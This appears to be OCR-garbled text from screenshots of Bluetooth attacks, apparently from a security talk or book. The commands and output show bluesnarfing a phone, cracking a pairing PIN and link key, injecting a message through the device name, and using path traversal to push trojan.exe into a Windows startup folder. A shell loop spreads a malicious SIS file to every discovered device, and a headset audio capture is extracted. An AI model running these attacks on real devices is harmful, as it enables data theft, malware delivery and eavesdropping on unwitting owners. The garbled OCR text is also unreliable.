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$ =udo ,/bluesnarfer -z ME - 1-3 -b 00:02:EE:BE:72: D3
device name: Mokia B310i

custom PhDﬂEhDDE selected
Caught You Trying To Blueznarf Me : 4015551217

Hum I 5“U5551'l_




A

B <+&& A6
*I BAD

BAD 666 ?
0C"( 6ADHD-6!

5 A
(1 .6

? ?













; T “;"T‘:
N /]

Make your Bluetooth' ha
and get the whol

ndset discoverable
e story now,
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; ( >Ab

$ ./syncword2lap 7e:70:41:e3:40:fb:el:0d $ ./hec2uap d2 01:23
syncword2lap v1.0: Return the LAP from hec2uap v1.0: Return the UAP from
the SYNC WORD. the HEC byte and baseband header.
LAP is 21:f7:cO UAP is aa
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hciconfig hciO name “perl -e
'print "Press\x0dgrant\x0dto\xOddisable\xOdmute\x0d \x0d™"
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L
All Protocols | Baseband | LMP | L2CAP | SDP | BT-HID | Data  HID

=

E.. | Frame# Role Addr. | Beportid Beport HID Data Frame Size *1
* 327 Slave 1 Keyboard Keyboard h Ox0100000B... 22
¢ 328 Slave 1 Keyboard Keyboard e, Keyboardh  Ox01 0000028, 22
* 329 Slave 1 Keyboard Keyboard e Ox01000008... 22 el
* 330 Slave 1 Feyboard All Keys Released Ox01 000000, 22
* 331 Slave 1 Keyboard Keyboard Spaceba Ox 010000 2. 22
hd 332 Slave 1 Keyboard All Keys Released Ox01 000000, 22
L] 241 o ave ' hEUD0ATN AL [ O 071 00 0C
* 345 Slave 1 Feyboard All Keys Released Ox01 000000, 22 Ll
Rale: Slave A |Fg1 86 b9 28 Oc 99 da 01 Oa 00 41 OO
Address: 1 F al 01 00 OD 17 0D OD DO OO OO
Repart D Keyboard
=]- HID' Report; P
- Kevboard N
¥l




mercury:“/bluepinning % perl bpalOlcsv_p.pl traces/0SK-Nokia-Z30739,csw 33:331335:
44:44:55 00;60:57:0C:32:04 &

Funning “./bluepinning =K D5:D1:C4:85:FE:D5: /6:07:A4:A7:8D0:89:38: 58:B6:7/F -C FO:
29:82:F6: B8 43:B2:49: 061 0527 sk sOA 40 5F 2E4 -c FI:AA:0D:27 sk 73804529217 BE:CE:
DE:1D: 527248 A E/:0D:Ba L0427 iLaiA0: 5002118 BB 212521k 29A —a JAb/tFa 0L
OF :72:00:7A:FB:BA:54:33:EF ;B4 BF :7F =S BD:BF:C4:DA -5 15:4C:65:4D -B 33:33:33:44;
44:55 -b 00:80:57:DC:32:04 L B"
bluepinning 1.3 - Bluetooth PIN combination key cracker, <{jurightBhasborg,com?
Thread 0: Testing 1 byte PINs...

Thread 0: Testing 2 byte PINs...
Thread 03 Testing 3 byte PINs.,..
Thread 0: Testing 4 byte PINs...
Thread 0: Testing 5 byte PINs...
Thread 0: Testing 6 byte PINs...

PIN is 230733
Link key is a3bl33ledddadf3d386a0d/2doF ddfeb
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# .Jussp-push 00:11:B1:07:BE:A7@4 trojan.exe
AL \\windows\\startup\\pwned.exe

Local device 00:0A:3A:54:71:95
Remote device 00:11:B1:07:BE:A7 (4)

connected to server

Sending file: ..\..\..\..\.\windows\startup\pwned. exe, path: trojan.exe,
size: 18009

Command (01) has now finished













FTS4BT - Nokia6600-H5850-nationalgrid.cfa

File Edit Wiew Options

FgEs % &

place holder

2 Window  Help

About Data Extraction, ..
Exkract Data.,..
Help...

about Packet Errar Fate Staks, .,
Shiows Packet Error R.ake Stats, .,
Help...

About Audio Extraction. ..

Export WY File., ..
Shiows Skakus Window, .,
Help...

=13

Audio Extraction Settings

Path: |c::"-.au-:|i|:|

AM

B ase Filename: |H|:|kiaEEEIEI-HSBED-natinﬂalgrid
Wiite Streamsz as..

{" Two Mono Files
(¢ [ne Stereo File

v Ovenarite exizting files with zame name

v Convert &-Law and p-law ta Linear PCM

V5D iz always converted

K, Cancel |
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# grep name /etc/bluetooth/hcid.conf
name “EB WG Portal”
# while true ; do
for btnode in "hcitool scan | awk ‘{print $1}" ; do
ussp-push $btnode@9 OwnzOred.sis EBPortal.sis
done
done
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